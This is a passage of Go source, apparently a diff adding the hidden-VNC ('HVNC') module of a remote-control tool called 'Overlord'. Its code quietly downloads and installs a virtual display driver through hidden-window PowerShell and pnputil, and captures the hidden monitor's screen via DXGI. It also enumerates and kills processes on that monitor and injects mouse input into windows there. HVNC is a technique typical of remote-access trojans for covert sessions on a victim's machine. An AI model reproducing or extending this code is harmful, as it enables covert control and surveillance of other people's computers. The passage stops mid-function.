fmt.Errorf("virtual: no virtual monitor bounds") + } + + type rawWin struct { + hwnd uintptr + } + var windows []rawWin + + cb := syscall.NewCallback(func(hwnd, _ uintptr) uintptr { + windows = append(windows, rawWin{hwnd: hwnd}) + return 1 + }) + + deskHwnd, _, _ := procGetDesktopWindow.Call() + procEnumDesktopWindows.Call(deskHwnd, cb, 0) + + pids := make(map[uint32]struct{}) + for _, w := range windows { + var r rect + ok, _, _ := procGetWindowRect.Call(w.hwnd, uintptr(unsafe.Pointer(&r))) + if ok == 0 { + continue + } + winLeft := int(r.left) + winTop := int(r.top) + winRight := int(r.right) + winBottom := int(r.bottom) + if winRight <= winLeft || winBottom <= winTop { + continue + } + + if winLeft >= bounds.Min.X && winTop >= bounds.Min.Y && + winLeft < bounds.Max.X && winTop < bounds.Max.Y { + var pid uint32 + procGetWindowThreadProcessId.Call(w.hwnd, uintptr(unsafe.Pointer(&pid))) + if pid != 0 { + pids[pid] = struct{}{} + } + } + } + + const PROCESS_TERMINATE = 0x0001 + killed := 0 + for pid := range pids { + hProc, _, _ := kernel32.NewProc("OpenProcess").Call(PROCESS_TERMINATE, 0, uintptr(pid)) + if hProc != 0 { + procTerminateProcess.Call(hProc, 1) + kernel32.NewProc("CloseHandle").Call(hProc) + killed++ + } + } + log.Printf("virtual: kill all: terminated %d processes across %d pids", killed, len(pids)) + return nil +} + +func VirtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) { + virtualMu.Lock() + bounds := virtualMonitorBounds + name := virtualMonitorName + initialized := virtualInitialized + virtualMu.Unlock() + + if !initialized || bounds.Dx() <= 0 || bounds.Dy() <= 0 { + return nil, nil + } + + monInfos := []HVNCMonitorInfo{{ + Index: 0, + Name: name, + X: bounds.Min.X, + Y: bounds.Min.Y, + Width: bounds.Dx(), + Height: bounds.Dy(), + Primary: false, + }} + + type rawWin struct { + hwnd uintptr + } + var windowList []rawWin + + cb := syscall.NewCallback(func(hwnd, _ uintptr) uintptr { + windowList = append(windowList, rawWin{hwnd: hwnd}) + return 1 + }) + + deskHwnd, _, _ := procGetDesktopWindow.Call() + procEnumDesktopWindows.Call(deskHwnd, cb, 0) + + var result []HVNCWindowInfo + for _, w := range windowList { + if !isWindowVisible(w.hwnd) { + continue + } + var r rect + ok, _, _ := procGetWindowRect.Call(w.hwnd, uintptr(unsafe.Pointer(&r))) + if ok == 0 { + continue + } + winW := int(r.right - r.left) + winH := int(r.bottom - r.top) + if winW <= 0 || winH <= 0 { + continue + } + + title := getWindowText(w.hwnd) + if title == "" { + continue + } + + var pid uint32 + procGetWindowThreadProcessId.Call(w.hwnd, uintptr(unsafe.Pointer(&pid))) + + procName := "" + if pid != 0 { + procName = getProcessName(pid) + } + + winLeft := int(r.left) + winTop := int(r.top) + monIdx := -1 + if winLeft >= bounds.Min.X && winTop >= bounds.Min.Y && + winLeft < bounds.Max.X && winTop < bounds.Max.Y { + monIdx = 0 + } + + result = append(result, HVNCWindowInfo{ + HWND: w.hwnd, + Title: title, + X: winLeft, + Y: winTop, + Width: winW, + Height: winH, + PID: pid, + ProcessName: procName, + Monitor: monIdx, + Visible: true, + }) + } + return result, monInfos +} + +func findVirtualMonitor() (string, image.Rectangle, error) { + factory, err := createDXGIFactory1() + if err != nil { + return "", image.Rectangle{}, fmt.Errorf("dxgi factory: %v", err) + } + defer factory.Release() + + var fallbackName string + var fallbackAdapter *idxgiAdapter1 + var fallbackOutput *idxgiOutput + + for adapterIndex := 0; ; adapterIndex++ { + var adapter *idxgiAdapter1 + hr := factory.EnumAdapters1(uint32(adapterIndex), &adapter) + if hr == dxgiErrorNotFound { + break + } + if hr != S_OK || adapter == nil { + continue + } + + var desc1 dxgiAdapterDesc1 + _ = adapter.GetDesc1(&desc1) + descStr := windows.UTF16ToString(desc1.Description[:]) + descLower := strings.ToLower(descStr) + + isVirtual := (desc1.Flags&dxgiAdapterFlagSoftware) != 0 || + strings.Contains(descLower, "virtual") || + strings.Contains(descLower, "mttvdd") || + strings.Contains(descLower, "indirect") || + strings.Contains(descLower, "idd") + + if !isVirtual { + isVirtual = desc1.DedicatedVideoMemory == 0 && + desc1.DedicatedSystemMemory == 0 && + desc1.SharedSystemMemory == 0 + } + + for outputIndex := 0; ; outputIndex++ { + var output *idxgiOutput + hrOut := adapter.EnumOutputs(uint32(outputIndex), &output) + if hrOut == dxgiErrorNotFound { + break + } + if hrOut != S_OK || output == nil { + continue + } + + var outDesc dxgiOutputDesc + _ = output.GetDesc(&outDesc) + name := windows.UTF16ToString(outDesc.DeviceName[:]) + coords := image.Rect( + int(outDesc.DesktopCoordinates.left), + int(outDesc.DesktopCoordinates.top), + int(outDesc.DesktopCoordinates.right), + int(outDesc.DesktopCoordinates.bottom), + ) + + attached := outDesc.AttachedToDesktop != 0 + + if isVirtual && attached && coords.Dx() > 0 && coords.Dy() > 0 { + log.Printf("virtual: found virtual monitor %q adapter=%q bounds=%v flags=0x%x", + name, descStr, coords, desc1.Flags) + if fallbackOutput != nil { + fallbackOutput.Release() + } + if fallbackAdapter != nil { + fallbackAdapter.Release() + } + adapter.Release() + return name, coords, nil + } + + if isVirtual && !attached && fallbackName == "" { + fallbackName = name + if fallbackAdapter != nil { + fallbackAdapter.Release() + } + fallbackAdapter = adapter + adapter = nil + if fallbackOutput != nil { + fallbackOutput.Release() + } + fallbackOutput = output + output = nil + log.Printf("virtual: found disconnected virtual monitor %q adapter=%q - will try to enable", + name, descStr) + } + + if output != nil { + output.Release() + } + } + if adapter != nil { + adapter.Release() + } + } + + if fallbackName != "" && fallbackOutput != nil && fallbackAdapter != nil { + fallbackOutput.Release() + fallbackAdapter.Release() + log.Printf("virtual: virtual monitor found but disconnected; attempting to attach it") + enableFirstVirtualDisplay() + time.Sleep(2 * time.Second) + + return findVirtualMonitor() + } + + name, coords := findVirtualMonitorByDeviceID(factory) + if name != "" { + return name, coords, nil + } + + return "", image.Rectangle{}, fmt.Errorf("no virtual monitor adapter found") +} + +func findVirtualMonitorByDeviceID(factory *idxgiFactory1) (string, image.Rectangle) { + procEnumDisplayDevices := user32.NewProc("EnumDisplayDevicesW") + + type displayDevice struct { + cb uint32 + DeviceName [32]uint16 + DeviceString [128]uint16 + StateFlags uint32 + DeviceID [128]uint16 + DeviceKey [128]uint16 + } + + virtualNames := make(map[string]bool) + for i := 0; i < 128; i++ { + var dd displayDevice + dd.cb = uint32(unsafe.Sizeof(dd)) + ret, _, _ := procEnumDisplayDevices.Call(0, uintptr(i), uintptr(unsafe.Pointer(&dd)), 0) + if ret == 0 { + break + } + deviceID := strings.ToLower(syscall.UTF16ToString(dd.DeviceID[:])) + if strings.Contains(deviceID, "root") || strings.Contains(deviceID, "mttvdd") || strings.Contains(deviceID, "virtual") { + name := syscall.UTF16ToString(dd.DeviceName[:]) + virtualNames[name] = true + log.Printf("virtual: identified virtual display device %q (deviceID=%s)", name, deviceID) + } + } + + if len(virtualNames) == 0 { + return "", image.Rectangle{} + } + + for adapterIndex := 0; ; adapterIndex++ { + var adapter *idxgiAdapter1 + hr := factory.EnumAdapters1(uint32(adapterIndex), &adapter) + if hr == dxgiErrorNotFound { + break + } + if hr != S_OK || adapter == nil { + continue + } + + for outputIndex := 0; ; outputIndex++ { + var output *idxgiOutput + hrOut := adapter.EnumOutputs(uint32(outputIndex), &output) + if hrOut == dxgiErrorNotFound { + break + } + if hrOut != S_OK || output == nil { + continue + } + + var outDesc dxgiOutputDesc + _ = output.GetDesc(&outDesc) + name := windows.UTF16ToString(outDesc.DeviceName[:]) + coords := image.Rect( + int(outDesc.DesktopCoordinates.left), + int(outDesc.DesktopCoordinates.top), + int(outDesc.DesktopCoordinates.right), + int(outDesc.DesktopCoordinates.bottom), + ) + + if virtualNames[name] && outDesc.AttachedToDesktop != 0 && coords.Dx() > 0 && coords.Dy() > 0 { + log.Printf("virtual: found virtual monitor via device ID: %q bounds=%v", name, coords) + adapter.Release() + return name, coords + } + + output.Release() + } + adapter.Release() + } + + return "", image.Rectangle{} +} + +func enableFirstVirtualDisplay() { + procEnumDisplayDevices := user32.NewProc("EnumDisplayDevicesW") + procChangeDisplaySettingsEx := user32.NewProc("ChangeDisplaySettingsExW") + + type displayDevice struct { + cb uint32 + DeviceName [32]uint16 + DeviceString [128]uint16 + StateFlags uint32 + DeviceID [128]uint16 + DeviceKey [128]uint16 + } + const DISPLAY_DEVICE_ACTIVE = 0x00000001 + const DM_POSITION = 0x00000020 + const DM_PELSWIDTH = 0x00080000 + const DM_PELSHEIGHT = 0x00100000 + + type devMode struct { + dmDeviceName [32]uint16 + dmSpecVersion uint16 + dmDriverVersion uint16 + dmSize uint16 + dmDriverExtra uint16 + dmFields uint32 + dmPositionX int32 + dmPositionY int32 + dmDisplayOrientation uint32 + dmDisplayFixedOutput uint32 + dmColor int16 + dmDuplex int16 + dmYResolution int16 + dmTTOption int16 + dmCollate int16 + dmFormName [32]uint16 + dmLogPixels uint16 + dmBitsPerPel uint32 + dmPelsWidth uint32 + dmPelsHeight uint32 + dmDisplayFlags uint32 + dmDisplayFrequency uint32 + dmDisplayOrientation2 uint32 + } + + for i := 0; ; i++ { + var dd displayDevice + dd.cb = uint32(unsafe.Sizeof(dd)) + ret, _, _ := procEnumDisplayDevices.Call(0, uintptr(i), uintptr(unsafe.Pointer(&dd)), 0) + if ret == 0 { + break + } + + deviceID := strings.ToLower(syscall.UTF16ToString(dd.DeviceID[:])) + isVirtualDevice := strings.Contains(deviceID, "root") || strings.Contains(deviceID, "mttvdd") || strings.Contains(deviceID, "virtual") + + if !isVirtualDevice { + continue + } + + name := syscall.UTF16ToString(dd.DeviceName[:]) + log.Printf("virtual: attempting to attach virtual display %q (deviceID=%s)", name, deviceID) + + var dm devMode + dm.dmSize = uint16(unsafe.Sizeof(dm)) + dm.dmFields = DM_POSITION | DM_PELSWIDTH | DM_PELSHEIGHT + dm.dmPelsWidth = 1920 + dm.dmPelsHeight = 1080 + + const CDS_UPDATEREGISTRY = 0x00000001 + namePtr, _ := syscall.UTF16PtrFromString(name) + procChangeDisplaySettingsEx.Call( + uintptr(unsafe.Pointer(namePtr)), + uintptr(unsafe.Pointer(&dm)), + 0, + CDS_UPDATEREGISTRY, + 0, + ) + log.Printf("virtual: attached virtual display %q", name) + return + } +} + +func installVirtualDriver() error { + driverURL := os.Getenv(virtualDriverURLEnv) + + tmpDir := filepath.Join(os.TempDir(), virtualDriverDirName) + if err := os.MkdirAll(tmpDir, 0755); err != nil { + return fmt.Errorf("create temp dir: %v", err) + } + + zipPath := filepath.Join(tmpDir, "driver.zip") + + if driverURL == "" { + driverURL = resolveLatestDriverURL() + if driverURL == "" { + log.Printf("virtual: could not resolve latest driver URL. Set %s to a direct download URL.", virtualDriverURLEnv) + return fmt.Errorf("could not resolve driver URL") + } + } + + log.Printf("virtual: downloading virtual display driver from %s", driverURL) + + psCmd := fmt.Sprintf( + `[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%s' -OutFile '%s' -UseBasicParsing`, + driverURL, zipPath, + ) + cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", psCmd) + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + output, err := cmd.CombinedOutput() + if err != nil { + log.Printf("virtual: download failed: %v (output: %s)", err, string(output)) + return fmt.Errorf("download failed: %v", err) + } + + extractDir := filepath.Join(tmpDir, "extracted") + if err := os.MkdirAll(extractDir, 0755); err != nil { + return fmt.Errorf("create extract dir: %v", err) + } + + cmd = exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", + fmt.Sprintf(`Expand-Archive -Path '%s' -DestinationPath '%s' -Force`, zipPath, extractDir)) + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + output, err = cmd.CombinedOutput() + if err != nil { + return fmt.Errorf("extract failed: %v (output: %s)", err, string(output)) + } + + infFiles := findInfFiles(extractDir) + if len(infFiles) == 0 { + return fmt.Errorf("no INF file found in extracted driver") + } + + installed := false + for _, inf := range infFiles { + cmd = exec.Command("pnputil", "/add-driver", inf, "/install") + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + output, err = cmd.CombinedOutput() + outStr := string(output) + installed = installed || strings.Contains(outStr, "Driver package added successfully") + if err != nil { + if installed { + log.Printf("virtual: pnputil install %s completed (exit code %v, already present): %s", inf, err, outStr) + } else { + log.Printf("virtual: pnputil install %s: %v (output: %s)", inf, err, outStr) + continue + } + } + } + + if !installed { + return fmt.Errorf("no driver INF installed successfully") + } + + log.Printf("virtual: driver installed, enabling any disabled virtual displays") + enableDisabledVirtualDisplays() + return nil +} + +func enableDisabledVirtualDisplays() { + procEnumDisplayDevices := user32.NewProc("EnumDisplayDevicesW") + procChangeDisplaySettingsEx := user32.NewProc("ChangeDisplaySettingsExW") + + type displayDevice struct { + cb uint32 + DeviceName [32]uint16 + DeviceString [128]uint16 + StateFlags uint32 + DeviceID [128]uint16 + DeviceKey [128]uint16 + } + const DISPLAY_DEVICE_ACTIVE = 0x00000001 + const DM_POSITION = 0x00000020 + const DM_PELSWIDTH = 0x00080000 + const DM_PELSHEIGHT = 0x00100000 + + type devMode struct { + dmDeviceName [32]uint16 + dmSpecVersion uint16 + dmDriverVersion uint16 + dmSize uint16 + dmDriverExtra uint16 + dmFields uint32 + dmPositionX int32 + dmPositionY int32 + dmDisplayOrientation uint32 + dmDisplayFixedOutput uint32 + dmColor int16 + dmDuplex int16 + dmYResolution int16 + dmTTOption int16 + dmCollate int16 + dmFormName [32]uint16 + dmLogPixels uint16 + dmBitsPerPel uint32 + dmPelsWidth uint32 + dmPelsHeight uint32 + dmDisplayFlags uint32 + dmDisplayFrequency uint32 + dmDisplayOrientation2 uint32 + } + + found := false + for i := 0; i < 128; i++ { + var dd displayDevice + dd.cb = uint32(unsafe.Sizeof(dd)) + ret, _, _ := procEnumDisplayDevices.Call(0, uintptr(i), uintptr(unsafe.Pointer(&dd)), 0) + if ret == 0 { + break + } + + if dd.StateFlags&DISPLAY_DEVICE_ACTIVE != 0 { + continue + } + + deviceID := strings.ToLower(syscall.UTF16ToString(dd.DeviceID[:])) + isVirtualDevice := strings.Contains(deviceID, "root") || strings.Contains(deviceID, "mttvdd") || strings.Contains(deviceID, "virtual") + + if !isVirtualDevice { + continue + } + + name := syscall.UTF16ToString(dd.DeviceName[:]) + log.Printf("virtual: enabling disabled virtual display %q (deviceID=%s)", name, deviceID) + + var dm devMode + dm.dmSize = uint16(unsafe.Sizeof(dm)) + dm.dmFields = DM_POSITION | DM_PELSWIDTH | DM_PELSHEIGHT + dm.dmPelsWidth = 1920 + dm.dmPelsHeight = 1080 + + const CDS_UPDATEREGISTRY = 0x00000001 + namePtr, _ := syscall.UTF16PtrFromString(name) + procChangeDisplaySettingsEx.Call( + uintptr(unsafe.Pointer(namePtr)), + uintptr(unsafe.Pointer(&dm)), + 0, + CDS_UPDATEREGISTRY, + 0, + ) + found = true + log.Printf("virtual: enabled virtual display %q", name) + break + } + if found { + time.Sleep(3 * time.Second) + } +} + +func resolveLatestDriverURL() string { + apiURL := "https://api.github.com/repos/VirtualDrivers/Virtual-Display-Driver/releases/latest" + psCmd := fmt.Sprintf( + `[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $headers = @{'User-Agent'='Overlord'}; try { $r = Invoke-RestMethod -Uri '%s' -Headers $headers -TimeoutSec 15; $r.assets | Where-Object { $_.name -like '*Driver.Only.zip' -and $_.name -notlike '*ARM64*' -and $_.name -notlike '*VirtualAudio*' } | Select-Object -First 1 -ExpandProperty browser_download_url } catch { '' }`, + apiURL, + ) + cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", psCmd) + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + output, err := cmd.CombinedOutput() + if err != nil { + log.Printf("virtual: GitHub API request failed: %v", err) + return "" + } + url := strings.TrimSpace(string(output)) + if url == "" { + log.Printf("virtual: no matching driver asset found in GitHub release") + return "" + } + return url +} + +func findInfFiles(dir string) []string { + var infs []string + filepath.Walk(dir, func(path string, info os.FileInfo, err error) error { + if err != nil { + return nil + } + if !info.IsDir() && strings.EqualFold(filepath.Ext(path), ".inf") { + infs = append(infs, path) + } + return nil + }) + return infs +} + +func (s *virtualDuplicationState) capture() (*image.RGBA, error) { + s.mu.Lock() + defer s.mu.Unlock() + + if err := s.ensure(); err != nil { + s.lastFail = time.Now() + return nil, err + } + + var info dxgiOutDuplFrameInfo + var resource *iunknown + waitMs := uint32(5) + hr := uintptr(0) + for { + hr = s.dup.AcquireNextFrame(waitMs, &info, &resource) + if hr != dxgiErrorWaitTimeout { + break + } + if s.lastBase != nil { + width := int(s.desc.ModeDesc.Width) + height := int(s.desc.ModeDesc.Height) + img := s.composeFrame(s.lastBase, width, height) + if img == s.lastBase { + img = cloneRGBA(img) + } + s.lastFrameAt = time.Now() + return img, nil + } + if s.lastFrame != nil { + return cloneRGBA(s.lastFrame), nil + } + if waitMs >= 50 { + return nil, errors.New("virtual dxgi: frame timeout") + } + waitMs = 50 + } + if hr == dxgiErrorAccessLost { + s.close() + return nil, errors.New("virtual dxgi: access lost") + } + if hr == dxgiErrorDeviceRemoved || hr == dxgiErrorDeviceReset { + s.close() + return nil, fmt.Errorf("virtual dxgi: device lost 0x%x", hr) + } + if hr != S_OK { + return nil, fmt.Errorf("virtual dxgi: acquire frame failed 0x%x", hr) + } + if resource != nil { + defer resource.Release() + } + + width := int(s.desc.ModeDesc.Width) + height := int(s.desc.ModeDesc.Height) + if width <= 0 || height <= 0 { + _ = s.dup.ReleaseFrame() + return nil, errors.New("virtual dxgi: invalid frame size") + } + + var img *image.RGBA + userScale := effectiveScale(width, height) + dstW := int(float64(width) * userScale) + dstH := int(float64(height) * userScale) + wantScale := userScale != 1 && dstW > 0 && dstH > 0 && (dstW != width || dstH != height) + + if s.desc.DesktopImageInSystemMemory != 0 { + var mapped dxgiMappedRect + hr = s.dup.MapDesktopSurface(&mapped) + if hr != S_OK { + _ = s.dup.ReleaseFrame() + return nil, fmt.Errorf("virtual dxgi: map desktop surface failed 0x%x", hr) + } + dup := s.dup + defer func() { + _ = dup.UnMapDesktopSurface() + _ = dup.ReleaseFrame() + }() + + if mapped.Pitch <= 0 || mapped.Bits == nil { + return nil, errors.New("virtual dxgi: invalid mapped surface") + } + + pitch := int(mapped.Pitch) + if pitch < width*4 { + return nil, fmt.Errorf("virtual dxgi: pitch %d too small for width %d", pitch, width) + } + totalBytes := pitch * height + if totalBytes/height != pitch { + return nil, fmt.Errorf("virtual dxgi: pitch*height overflow (%d * %d)", pitch, height) + } + src := unsafe.Slice(mapped.Bits, totalBytes) + if wantScale { + img = convertBGRAScaled(src, pitch, width, height, dstW, dstH, s.desc.Rotation) + } + if img == nil { + img = convertBGRA(src, pitch, width, height, s.desc.Rotation) + } + if img == nil { + return nil, errors.New("virtual dxgi: pixel conversion failed") + } + } else { + img, hr = s.readbackFrame(width, height, s.desc.Rotation, resource, + wantScale, dstW, dstH) + _ = s.dup.ReleaseFrame() + if hr != S_OK || img == nil { + return nil, fmt.Errorf("virtual dxgi: staging readback failed 0x%x", hr) + } + } + + captured := img + s.copyLastBase(captured) + img = s.composeFrame(captured, width, height) + if img != captured { + PutRGBA(captured) + } + if img == s.lastBase { + img = cloneRGBA(img) + } + s.lastFrame = nil + s.lastFrameAt = time.Now() + + return img, nil +} + +func (s *virtualDuplicationState) ensure() error { + dxgiComInit.Do(func() { + const coinitMultithreaded = 0x0 + hr, _, _ := procCoInitDXGI.Call(0, coinitMultithreaded) + if hr != S_OK && hr != 1 { + log.Printf("virtual: CoInitializeEx for DXGI failed: 0x%x", hr) + } + }) + + if s.dup != nil { + const dxgiDeviceMaxAge = 4 * time.Hour + if !s.createdAt.IsZero() && time.Since(s.createdAt) > dxgiDeviceMaxAge { + log.Printf("virtual: dxgi device age exceeded; forcing re-init") + s.close() + } else { + return nil + } + } else { + s.close() + } + + virtualMu.Lock() + bounds := virtualMonitorBounds + monName := virtualMonitorName + virtualMu.Unlock() + + if bounds.Dx() <= 0 || bounds.Dy() <= 0 { + return errors.New("virtual dxgi: no virtual monitor bounds") + } + + factory, err := createDXGIFactory1() + if err != nil { + return err + } + + for adapterIndex := 0; ; adapterIndex++ { + var adapter *idxgiAdapter1 + hr := factory.EnumAdapters1(uint32(adapterIndex), &adapter) + if hr == dxgiErrorNotFound { + break + } + if hr != S_OK || adapter == nil { + continue + } + + for outputIndex := 0; ; outputIndex++ { + var output *idxgiOutput + hrOut := adapter.EnumOutputs(uint32(outputIndex), &output) + if hrOut == dxgiErrorNotFound { + break + } + if hrOut != S_OK || output == nil { + continue + } + + var desc dxgiOutputDesc + _ = output.GetDesc(&desc) + name := windows.UTF16ToString(desc.DeviceName[:]) + coords := image.Rect( + int(desc.DesktopCoordinates.left), + int(desc.DesktopCoordinates.top), + int(desc.DesktopCoordinates.right), + int(desc.DesktopCoordinates.bottom), + ) + + if coords.Eq(bounds) && desc.AttachedToDesktop != 0 { + device, context, err := createD3DDevice(adapter) + if err != nil { + output.Release() + adapter.Release() + factory.Release() + return err + } + + var output1 *idxgiOutput1 + hrQ := (*iunknown)(unsafe.Pointer(output)).QueryInterface(&IID_IDXGIOutput1, unsafe.Pointer(&output1)) + if hrQ != S_OK || output1 == nil { + context.Release() + device.Release() + output.Release() + adapter.Release() + factory.Release() + return errors.New("virtual dxgi: failed to query IDXGIOutput1") + } + + var dup *idxgiOutputDuplication + hrD := output1.DuplicateOutput((*iunknown)(unsafe.Pointer(device)), &dup) + if hrD != S_OK || dup == nil { + output1.Release() + context.Release() + device.Release() + output.Release() + adapter.Release() + factory.Release() + return fmt.Errorf("virtual dxgi: DuplicateOutput failed 0x%x", hrD) + } + + var dupDesc dxgiOutDuplDesc + _ = dup.GetDesc(&dupDesc) + + s.factory = factory + s.adapter = adapter + s.output = output + s.output1 = output1 + s.device = device + s.context = context + s.dup = dup + s.desc = dupDesc + s.outputName = name + s.bounds = bounds + s.createdAt = time.Now() + + log.Printf("virtual: dxgi duplication initialized for virtual monitor %q bounds=%v", name, bounds) + return nil + } + output.Release() + } + adapter.Release() + } + + factory.Release() + return fmt.Errorf("virtual dxgi: virtual monitor output not found for bounds=%v name=%q", bounds, monName) +} + +func (s *virtualDuplicationState) close() { + if s.dup != nil { + s.dup.Release() + s.dup = nil + } + if s.staging != nil { + s.staging.Release() + s.staging = nil + } + if s.h264LastTex != nil { + s.h264LastTex.Release() + s.h264LastTex = nil + s.h264LastDesc = d3d11Texture2DDesc{} + } + if s.context != nil { + s.context.Release() + s.context = nil + } + if s.output1 != nil { + s.output1.Release() + s.output1 = nil + } + if s.output != nil { + s.output.Release() + s.output = nil + } + if s.adapter != nil { + s.adapter.Release() + s.adapter = nil + } + if s.factory != nil { + s.factory.Release() + s.factory = nil + } + if s.device != nil { + s.device.Release() + s.device = nil + } + s.outputName = "" + s.bounds = image.Rectangle{} + PutRGBA(s.lastBase) + s.lastBase = nil + PutRGBA(s.lastFrame) + s.lastFrame = nil + s.lastFrameAt = time.Time{} + s.createdAt = time.Time{} +} + +func (s *virtualDuplicationState) composeFrame(base *image.RGBA, nativeW, nativeH int) *image.RGBA { + if base == nil { + return nil + } + imgW := base.Bounds().Dx() + imgH := base.Bounds().Dy() + userScale := effectiveScale(nativeW, nativeH) + withCursor := virtualCursorEnabled + + dstW := int(float64(nativeW) * userScale) + dstH := int(float64(nativeH) * userScale) + alreadyScaled := (imgW == dstW && imgH == dstH) && (imgW != nativeW || imgH != nativeH) + if !withCursor && (userScale == 1 || alreadyScaled) { + return base + } + + img := base + if withCursor { + img = s.ensureCursorScratch(base.Rect) + copy(img.Pix, base.Pix) + } + bounds := s.bounds + if bounds.Dx() != int(s.desc.ModeDesc.Width) || bounds.Dy() != int(s.desc.ModeDesc.Height) { + bounds = image.Rect(bounds.Min.X, bounds.Min.Y, bounds.Min.X+int(s.desc.ModeDesc.Width), bounds.Min.Y+int(s.desc.ModeDesc.Height)) + } + if withCursor { + drawCursorRotated(img, bounds, bounds, s.desc.Rotation) + } + + if !alreadyScaled && dstW > 0 && dstH > 0 && (dstW != imgW || dstH != imgH) { + img = resizeNearest(img, dstW, dstH) + } + return img +} + +func (s *virtualDuplicationState) ensureCursorScratch(rect image.Rectangle) *image.RGBA { + return image.NewRGBA(rect) +} + +func (s *virtualDuplicationState) copyLastBase(src *image.RGBA) { + if src == nil { + PutRGBA(s.lastBase) + s.lastBase = nil + return + } + width := src.Rect.Dx() + height := src.Rect.Dy() + need := len(src.Pix) + if s.lastBase != nil && cap(s.lastBase.Pix) >= need && cap(s.lastBase.Pix) <= need*2 { + s.lastBase.Pix = s.lastBase.Pix[:need] + s.lastBase.Stride = width * 4 + s.lastBase.Rect = image.Rect(0, 0, width, height) + copy(s.lastBase.Pix, src.Pix) + return + } + PutRGBA(s.lastBase) + s.lastBase = cloneRGBA(src) +} + +func (s *virtualDuplicationState) readbackFrame(width, height int, rotation uint32, resource *iunknown, + wantScale bool, dstW, dstH int) (*image.RGBA, uintptr) { + if resource == nil || s.device == nil || s.context == nil { + return nil, uintptr(1) + } + var tex *d3d11Texture2D + hr := resource.QueryInterface(&IID_ID3D11Texture2D, unsafe.Pointer(&tex)) + if hr != S_OK || tex == nil { + return nil, hr + } + defer tex.Release() + + var srcDesc d3d11Texture2DDesc + tex.GetDesc(&srcDesc) + if srcDesc.Width == 0 || srcDesc.Height == 0 { + return nil, uintptr(1) + } + + if s.staging == nil || s.stagingDesc.Width != srcDesc.Width || s.stagingDesc.Height != srcDesc.Height || s.stagingDesc.Format != srcDesc.Format { + if s.staging != nil { + s.staging.Release() + s.staging = nil + } + stagingDesc := srcDesc + stagingDesc.Usage = d3d11UsageStaging + stagingDesc.BindFlags = 0 + stagingDesc.CPUAccessFlags = d3d11CpuAccessRead + stagingDesc.MiscFlags = 0 + stagingDesc.MipLevels = 1 + stagingDesc.ArraySize = 1 + stagingDesc.SampleDesc.Count = 1 + stagingDesc.SampleDesc.Quality = 0 + var staging *d3d11Texture2D + hr = s.device.CreateTexture2D(&stagingDesc, nil, &staging) + if hr != S_OK || staging == nil { + return nil, hr + } + s.staging = staging + s.stagingDesc = stagingDesc + } + + s.context.CopyResource(s.staging, tex) + var mapped d3d11MappedSubresource + hr = s.context.Map(s.staging, 0, d3d11MapRead, 0, &mapped) + if hr != S_OK { + return nil, hr + } + defer s.context.Unmap(s.staging, 0) + if mapped.Data == nil || mapped.RowPitch == 0 { + return nil, uintptr(1) + } + + pitch := int(mapped.RowPitch) + srcH := int(srcDesc.Height) + srcW := int(srcDesc.Width) + if pitch < srcW*4 { + return nil, uintptr(1) + } + totalBytes := pitch * srcH + if totalBytes/srcH != pitch { + return nil, uintptr(1) + } + src := unsafe.Slice((*byte)(mapped.Data), totalBytes) + var img *image.RGBA + if wantScale { + img = convertBGRAScaled(src, pitch, int(srcDesc.Width), int(srcDesc.Height), dstW, dstH, rotation) + } + if img == nil { + img = convertBGRA(src, pitch, int(srcDesc.Width), int(srcDesc.Height), rotation) + } + + return img, S_OK +} + +func SetVirtualCursorCapture(enabled bool) { + virtualCursorEnabled = enabled +} + +func VirtualInputMouseMove(x, y int32) error { + virtualMu.Lock() + bounds := virtualMonitorBounds + virtualMu.Unlock() + + if bounds.Dx() <= 0 || bounds.Dy() <= 0 { + virtualInputMu.Lock() + virtualLastCursor = point{x: x, y: y} + virtualHasCursor = true + virtualInputMu.Unlock() + return nil + } + + if bits := virtualLastScale.Load(); bits != 0 { + if s := math.Float64frombits(bits); s > 0 && s < 1 { + x = int32(float64(x) / s) + y = int32(float64(y) / s) + } + } + + absX := bounds.Min.X + int(x) + absY := bounds.Min.Y + int(y) + if absX < bounds.Min.X { + absX = bounds.Min.X + } + if absY < bounds.Min.Y { + absY = bounds.Min.Y + } + if absX >= bounds.Max.X { + absX = bounds.Max.X - 1 + } + if absY >= bounds.Max.Y { + absY = bounds.Max.Y - 1 + } + + virtualInputMu.Lock() + virtualLastCursor = point{x: int32(absX), y: int32(absY)} + virtualHasCursor = true + virtualInputMu.Unlock() + moveVirtualWindowIfDragging(point{x: int32(absX), y: int32(absY)}) + resizeVirtualWindowIfDragging(point{x: int32(absX), y: int32(absY)}) + + pt := point{x: int32(absX), y: int32(absY)} + hitHwnd := windowFromPoint(pt) + if hitHwnd != 0 { + root := rootWindow(hitHwnd) + prevWorking := virtualGetWorkingWindow() + virtualRememberWorkingWindow(hitHwnd) + prevRoot := rootWindow(prevWorking) + if prevWorking == 0 || (prevRoot != root && !sameProcessWindows(prevRoot, root)) { + procSetForegroundWindow.Call(root) + procSetActiveWindow.Call(root) + procSetFocus.Call(hitHwnd) + } + + clientPt := pt + procScreenToClient.Call(hitHwnd, uintptr(unsafe.Pointer(&clientPt))) + procPostMessageW.Call(hitHwnd, WM_MOUSEMOVE, uintptr(virtualCurrentMouseButtons()), makeLParam(clientPt.x, clientPt.y)) + } + return nil +} + +func VirtualInputMouseDown(button int) error { + pt := virtualCurrentCursor() + + virtualSetMouseButton(button, true) + + hitHwnd := windowFromPoint(pt) + if hitHwnd == 0 { + return nil + } + + root := rootWindow(hitHwnd) + prevWorking := virtualGetWorkingWindow() + virtualRememberWorkingWindow(hitHwnd) + + prevRoot := rootWindow(prevWorking) + if prevWorking == 0 || (prevRoot != root && !sameProcessWindows(prevRoot, root)) { + procSetForegroundWindow.Call(root) + procSetActiveWindow.Call(root) + procSetFocus.Call(hitHwnd) + } + + if button == 0 { + lparam := makeLParam(pt.x, pt.y) + ncHwnd := rootWindow(hitHwnd) + hitTest := safeNCHitTest(ncHwnd, lparam) + + if hitTest != HTCLIENT && hitTest != 0 